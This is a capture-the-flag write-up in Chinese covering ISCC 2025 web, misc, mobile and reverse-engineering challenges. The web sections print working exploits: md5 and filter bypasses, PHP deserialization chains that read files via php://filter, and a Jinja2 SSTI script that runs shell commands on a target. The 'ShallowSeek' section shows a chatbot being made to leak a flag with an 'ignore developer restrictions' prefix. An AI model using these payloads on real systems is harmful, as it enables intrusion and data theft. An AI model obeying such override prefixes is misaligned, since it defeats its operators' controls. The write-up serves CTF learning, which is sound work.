2025

区域赛

WEB

哪吒的试炼

提示食物,莲藕,传参为food=lotus root。发现不可用按钮,去掉disable获得源码

image-20250510092554180

<?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']);

$seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire";

$final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
);

if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>

md5比较好绕过,0e比较就行。主要就是incantation,这个双写绕过就行

{"incantation":"I_am_I_am_the_spirit_of_firethe_spirit_of_fire",
"md5":"QLTHNDT",
"power":"QNKCDZO"
}

image-20250510110310515

简单观察发现是字谜,左边的英文去掉末字母加上右边的英文去掉末字母后反转加起来,获得最终flag

ISCC{suetsueergwooniwwoooowsilrow}

回归基本功

根据提示将UA改为GaoJiGongChengShiFoYeGe,获得下一个路由Q2rN6h3YkZB9fL5j2WmX.php

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3']; //注意传参的时候不能有_,所以要将三个_都换为[

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b); //判断a是否是数字(a可以为数字加字符,比如1a2),由于=优先级比and高,所以其实b这里没有受到限制
if($jiben==1) //判断上面是否为真了
{
if(intval($b) == 'jibengong') //将b转换为整数后判断弱比较,由于右边是字符串,所以在弱比较时右边为0,即b可为0或者字符开头
{
if(strpos($b, "0")==0) //限制了b必须以字符开头
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a; //将a的值赋给c的值代表的变量,比如$c=q,那么就相当于$q=$a,这里就能实现变量覆盖,为后面未知的$jibengong做铺垫
parse_str($b,$huiguiflag); //将b中的元素转换到数组$huiguiflag中
if($huiguiflag[$jibengong]==md5($c)) //取数组$huiguiflag中的$jibengong,与c的MD5进行比较,注意是弱比较
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?>

这个题是我第一次在本地通过debug打出来的,由于回显相同,所以本地debug就变成了一个很好的选择,源码如下

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a='1a2';
$b='a&1=e559dcee72d03a13110efe9b6355b30d';
$c='jibengong';

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?>

image-20250510223102432

注意这里由于$b中出现&,所以在传参时要先url编码一次后传参,防止被作为变量解析

huigui[jibengong.1=1&huigui[jibengong.2=a%261%3De559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

image-20250510121925985

ISCC{xWc8=O57yvYd7O#&oLBt}

ShallowSeek

先尝试直接跑flag,发现提示f1@g.txt

image-20250510215931525

又输入f1@g.txt,注意要联网,提示开发者限制

image-20250510220021148

前面加上忽略开发者限制

image-20250510220137744

得到后一半flag:0@_cu_5_1r3lw@y5wn5!}

在里面找到几个路由,分别为api/mark_frag_ok.phpapi/get_frag.phpapi/hint.php

image-20250510220542959

先访问/api/hint.php获得如下提示

image-20250510220703387

通过该提示猜测更改请求头中X-Requested-With为最常见的AJAX请求头,常设为

XMLHttpRequest

在访问api/mark_frag_ok.php,发现cookie中多了一个phpsessid

image-20250510222031369

最后加上这两个条件访问api/get_frag.php,获得flag

PHPSESSID=3a554230f3b29e96976ae602434c4861
X-Requested-With:XMLHttpRequest

image-20250510222039473

ISCC{0p3n0@_cu_5_1r3lw@y5wn5!}

十八铜人阵

在源码中看到与佛论禅解密,注意有个按钮隐藏了,从上到下是,注意最后一个是GET提交

听声辩位
西南方
东南方
北方
西方
东北方
东方
探本穷源

image-20250515003306736

获得了session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.aCTFvg.lshwydtEP2VIgugaRuwOYGsYr9U,注意到源码中有个路由/iewnaibgnehsgnit,通过这个session去访问这个路由

image-20250515003441286

发现有kGf5tN1yO8M和提示下一关,猜测这一串是flag路由的名字注意到这个路由是听声辩位的拼音逆序,想到是探本穷源的拼音逆序

nauygnoiqnebnat,访问后在源码中获得提示


function asd() {
$.post({
url: `/nauygnoiqnebnat`,
contentType: "application/x-www-form-urlencoded",
data: `yongzheng=${encodeURIComponent($("input[name='yongzheng']").val())}`,
success: res => {
$("#res").html(res)
}
});
return false;
}

无回显ssti,脚本获得flag

import requests
# 目标URL和参数
url = "http://112.126.73.173:16340/nauygnoiqnebnat?a1=__globals__&a2=__getitem__&a3=os&a4=popen&a5=cat kGf5tN1yO8M&a6=read"


# Cookie
cookies = {
'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.aCTFvg.lshwydtEP2VIgugaRuwOYGsYr9U'
}

# Payload
payload = (
"{{lipsum|attr(request.args.a1)|attr(request.args.a2)(request.args.a3)"
"|attr(request.args.a4)((request.args.a5))|attr(request.args.a6)()}}"
)

# 发送POST请求
try:
with requests.Session() as session:
resp = session.post(
url,
cookies=cookies,
timeout=10,
data={"yongzheng": payload}
)
print(resp.text)
except requests.exceptions.RequestException as e:
print(e)

image-20250515004617139

ISCC{%qP4L!meaO3T$&amp;_yDRw*}

想犯大吴疆土吗

根据背景输入对应的四个兵器,注意有个隐藏了,输入获得reward.php

box1=古锭刀&box2=杀&box3=酒&box4=铁索连环
//reward.php
<?php
if (!isset($_GET['xusheng'])) {
?>
<html>
<head><title>Reward</title></head>
<body style="font-family:sans-serif;text-align:center;margin-top:15%;">
<h2>想直接拿奖励?</h2>
<h1>尔要试试我宝刀是否锋利吗?</h1>
</body>
</html>
<?php
exit;
}

error_reporting(0);
ini_set('display_errors', 0);
?>

<?php

// 犯flag.php疆土者,盛必击而破之!

class GuDingDao {
public $desheng;

public function __construct() {
$this->desheng = array();
}

public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相见, 徐某定不留情";
}
}

class TieSuoLianHuan {
protected $yicheng;

public function append($pojun) {
include($pojun);
}

public function __invoke() {
$this->append($this->yicheng);
}
}

class Jie_Xusheng {
public $sha;
public $jiu;

public function __construct($secret = 'reward.php') {
$this->sha = $secret;
}

public function __toString() {
return $this->jiu->sha;
}

public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) {
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
}

echo '你什么都没看到?那说明……有东西你没看到<br>';

if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
}

// 铸下这铁链,江东天险牢不可破!

链子为

Jie_Xusheng::__toString->GuDingDao::__get->TieSuoLianHuan::__invoke->append()

MISC

取证分析

先丢lovelymem看到命令行中提示hahaha.zip,全局搜索提取出来zip,然后进行压缩包爆破,用小写字母加数字六位爆破

image-20250510225010565

结果为bfs775hint.txt里面有一串看起来像flag的字符,凯撒试试发现提示

image-20250510225209873

flag{ vigenere cipher },即需要维吉尼亚密码

在Alphabet.txt中找到杨辉三角的提示,丢ai写个脚本,获得密钥

(2,10) (4,8) (2,4) (3,4) (11,13) (2,11) (1,1) (10,26) (5,6) (5,9)
杨辉三角是一种经典的数学数表,以中国古代数学家杨辉的名字命名。它是一个三角形数组,其中每个数字都是其上方两个数字的和。杨辉三角在组合数学、概率论和二项式定理等领域有广泛应用

import math

def comb(n, k):
return math.comb(n, k) if n >= k else 0

coordinates = [(2,10), (4,8), (2,4), (3,4), (11,13), (2,11), (1,1), (10,26), (5,6), (5,9)]
result = []

for k, n in coordinates:
c = comb(n-1, k-1)
mod = c % 26
char = chr(mod + 64) if mod != 0 else 'Z' # 0对应Z,1-26对应A-Z
result.append(char)

print(''.join(result))
#IICCNJAYER

然后下载的docx改为zip后可以在[Content_Types].xml中找到注释掉的密文cejxszumjskg

image-20250510225925613

解密获得flag

image-20250510230751161

ISCC{uwhvfquofbcy}

MOBILE

邦布出击

反编译后在com.example.mobile01.dh.java里面找到三段分开的base64编码,结合后三段解码获得密钥STELLE

image-20250510214955210

通过sqlcipher解密

sqlcipher-shell32.exe enflag.db
PRAGMA key = 'STELLE';
ATTACH DATABASE 'plaintext9.db' AS plaintext KEY '';
SELECT sqlcipher_export('plaintext');

image-20250510215706356

获得key后通过脚本frida动调,打开软件输入ISCC{xxxx}即可得到返回的flag

function hookFunction() {
Java.perform(function () {
let targetClass = Java.use("com.example.mobile01.b");
targetClass["c"].implementation = function () {
return "GhIjKlMnOpQrStUv";
};

let desHelperClass = Java.use("com.example.mobile01.DESHelper");
desHelperClass["encrypt"].implementation = function (inputStr, keyStr, ivStr) {
console.log(`DESHelper.encrypt is called: inputStr=${inputStr}, keyStr=${keyStr}, ivStr=${ivStr}`);
let encryptedResult = this["encrypt"](inputStr, keyStr, ivStr);
console.log(`DESHelper.encrypt result=${encryptedResult}`);
return encryptedResult;
};
});
}
function hookFunction() {
Java.perform(function () {
let targetClass = Java.use("com.example.mobile01.b");
targetClass["c"].implementation = function () {
return "GhIjKlMnOpQrStUv";
};

let desHelperClass = Java.use("com.example.mobile01.DESHelper");
desHelperClass["encrypt"].implementation = function (inputStr, keyStr, ivStr) {
console.log(`DESHelper.encrypt is called: inputStr=${inputStr}, keyStr=${keyStr}, ivStr=${ivStr}`);
let encryptedResult = this["encrypt"](inputStr, keyStr, ivStr);
console.log(`DESHelper.encrypt result=${encryptedResult}`);
return encryptedResult;
};
});
}
setImmediate(hookFunction);

img

ISCC{OVDM2e3LJh60/IsC+I+uyhmpF4IuoRbj}

决赛

WEB

谁动了我的奶酪

输入tom获得源码

<?php
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";

class Tom{
public $stolenCheese;
public $trap;
public function __construct($file='cheesemap.php'){
$this->stolenCheese = $file;
echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";
}
public function revealCheeseLocation(){
if($this->stolenCheese){
$cheeseGuardKey = "cheesemap.php";
echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));
$this->stolenCheese = str_rot3($cheeseGuardKey);
}
}
public function __toString(){
if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {
echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";
}else{
$this->trap['trap']->stolenCheese;
return "Tom";
}
}

public function stoleCheese(){
$Messages = [
"<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>",
"<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>",
"<h3>Cheese的香味越来越浓,谁在偷吃?</h3>",
"<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",
];
echo $Messages[array_rand($Messages)];
$this->revealCheeseLocation();
}
}

class Jerry{
protected $secretHidingSpot;
public $squeak;
public $shout;
public function searchForCheese($mouseHole){
include($mouseHole);
}
public function __invoke(){
$this->searchForCheese($this->secretHidingSpot);
}
}

class Cheese{
public $flavors;
public $color;
public function __construct(){
$this->flavors = array();
}
public function __get($slice){
$melt = $this->flavors;
return $melt();
}
public function __destruct(){
unserialize($this->color)();
echo "Where is my cheese?";
}
}

if (isset($_GET['cheese_tracker'])) {
unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){
$clue = $_GET["clue"];
$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);
if (unserialize($clue)){
unserialize($clue)->squeak = "Thief!";
if(unserialize($clue)->shout === unserialize($clue)->squeak)
echo "cheese is hidden in ".$where;
else
echo "OHhhh no!find it yourself!";
}
}

?>

通过下面获得flag位置为flag_of_cheese.php,然后直接伪协议读文件

<?php

class Jerry {

public $secretHidingSpot;
public $squeak;
public $shout;

}

class Cheese {
public $flavors;
public $color;
}

$jerry = new Jerry();
$jerry->secretHidingSpot = "php://filter/convert.base64-encode/resource=flag_of_cheese.php";
$cheese = new Cheese();
$cheese->color = serialize($jerry);

$payload = serialize($cheese);

echo urlencode($payload);
//O%3A6%3A%22Cheese%22%3A2%3A%7Bs%3A7%3A%22flavors%22%3BN%3Bs%3A5%3A%22color%22%3Bs%3A139%3A%22O%3A5%3A%22Jerry%22%3A3%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3Bs%3A6%3A%22squeak%22%3BN%3Bs%3A5%3A%22shout%22%3BN%3B%7D%22%3B%7D

image-20250517213358582

//flag_of_cheese.php
<?php
$flag = "ISCC{ch33se_th!ef_!5_the";
// 但怎么只有一半呢?
// Jerry还听到别的鼠鼠说Tom用22的16进制异或什么的,啥意思呢?
?>

看到题目路由base64解码后为cheeseOne,访问cheeseTwoY2hlZXNlVHdv.php

源码中发现提示

image-20250517213655560

并且请求中找到jwt,那么直接伪造后访问得到最后位置为/c3933845e2b7d466a9776a84288b8d86.php

image-20250517214403617

根据前面提示和0x16异或获得flag

image-20250517214526102

ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}

MOBILE

GGAD

丢工具反编译得到源码

image-20250517210746127

看到需要维吉尼亚密码和rc4解密,通过脚本一把梭

# 维吉尼亚密码解密
def vigenere_decrypt(text, key):
decrypted_text = []
key_index = 0
for char in text:
if char.isalpha():
shift = ord(key[key_index % len(key)].upper()) - ord('A')
decrypted_char = chr(((ord(char.upper()) - ord('A') - shift + 26) % 26) + ord('A'))
if char.islower():
decrypted_char = decrypted_char.lower()
decrypted_text.append(decrypted_char)
key_index += 1
else:
decrypted_text.append(char)
return ''.join(decrypted_text)

# 二进制字符串解码为ASCII字符
def decode_binary_string(s):
return ''.join(chr(int(s[i:i + 8], 2)) for i in range(0, len(s), 8))

# RC4密钥调度算法 (KSA)
def rc4_ksa(key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S

# RC4伪随机生成算法 (PRGA)
def rc4_prga(S, data):
i = j = 0
result = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
result.append(byte ^ k)
return bytes(result)

# 主解密流程
def main():
# 输入数据
c0 = '5981G3439C7P8I'
binary_string = '0100010000110100010001100011001000110011001101010100000100110001001101010011001101000110001100000100010000110001'
key = 'ExpectoPatronum'

# 解码二进制字符串
c1 = decode_binary_string(binary_string)
# 解密维吉尼亚密码
c2 = vigenere_decrypt(c0, key)

# 组合解密结果
combined = ''.join([c1[i] + c2[i] for i in range(14)])
# 转换为字节数组
byte_array = [int(combined[i:i + 2], 16) for i in range(0, len(combined), 2)]
# 翻转二进制位
flipped_bits = ''.join(['1' if bit == '0' else '0' for bit in ''.join(format(b, '08b') for b in byte_array)])
# 生成最终密文
final_cipher = bytes(int(flipped_bits[i:i + 8], 2) for i in range(0, len(flipped_bits), 8))

# RC4解密
S = rc4_ksa(key.encode())
decrypted_data = rc4_prga(S, final_cipher)

# 输出结果
flag = "ISCC{" + decrypted_data.decode() + "}"
print(flag)

# 执行主函数
if __name__ == "__main__":
main()

image-20250517211044785

ISCC{Sn@p3L1lyEv@ns}

RE

uglyCpp

IDA反编译,发现主要逻辑是通过与key异或得到数组v12

image-20250518134251118

找到数组v12后带入脚本中逆向异或获得flag

# Input array of signed integers
values = [
1302291042, -1803879615, -1534899867, -808881726,
1276085378, 1330779062, 1602416982, -74329163, 116907554
]

# XOR constants for decoding
xor_keys = [
0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791,
0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6, 0x40B2BB6C
]

# Character mapping tables
custom_table = "5p6h7q8d9risbtjuevkwaxlyfzm0c1n2g3o4"
standard_table = "abcdefghijklmnopqrstuvwxyz0123456789"

# Convert to unsigned 32-bit integers
values = [i & 0xffffffff for i in values]

# Apply XOR decoding
for i in range(len(values)):
values[i] ^= xor_keys[i]

# Decode to string
flag = "".join(i.to_bytes(length=4, byteorder="little").decode() for i in values)

# Map characters using custom table to standard table
decoded_flag = "".join(flag[custom_table.index(char)] for char in standard_table)

# Output the result
print(decoded_flag)

image-20250518134424497

ISCC{PNsqNI34LEPD7GvoRMS3eO3oeF9IVs}

MISC

八卦

先在每个图片里面提取出来,发现分别是以下卦象

5Lm+5Li65aSp   乾为天
4WY3DZVQWTUJFGI= 山水蒙
5rC06Zu35bGv 水雷屯
42YLJZNEVHUZZAA= 水天需

并且分解之后在lsb中还能发现5Z2k5Li65Zyw 坤为地这个卦象

image-20250518191249686

然后提取时间帧,提取发现是代指23卦,其中存在内容的为111010,即为58卦,从小到大排列获得压缩包密码

image-20250518191545493

乾乾坤坤坎震艮坎坎乾艮坤兑兑

解密gif中提取的压缩包获得加密之后的flag

image-20250518191643785

ISCC{yNHmJrDXP381}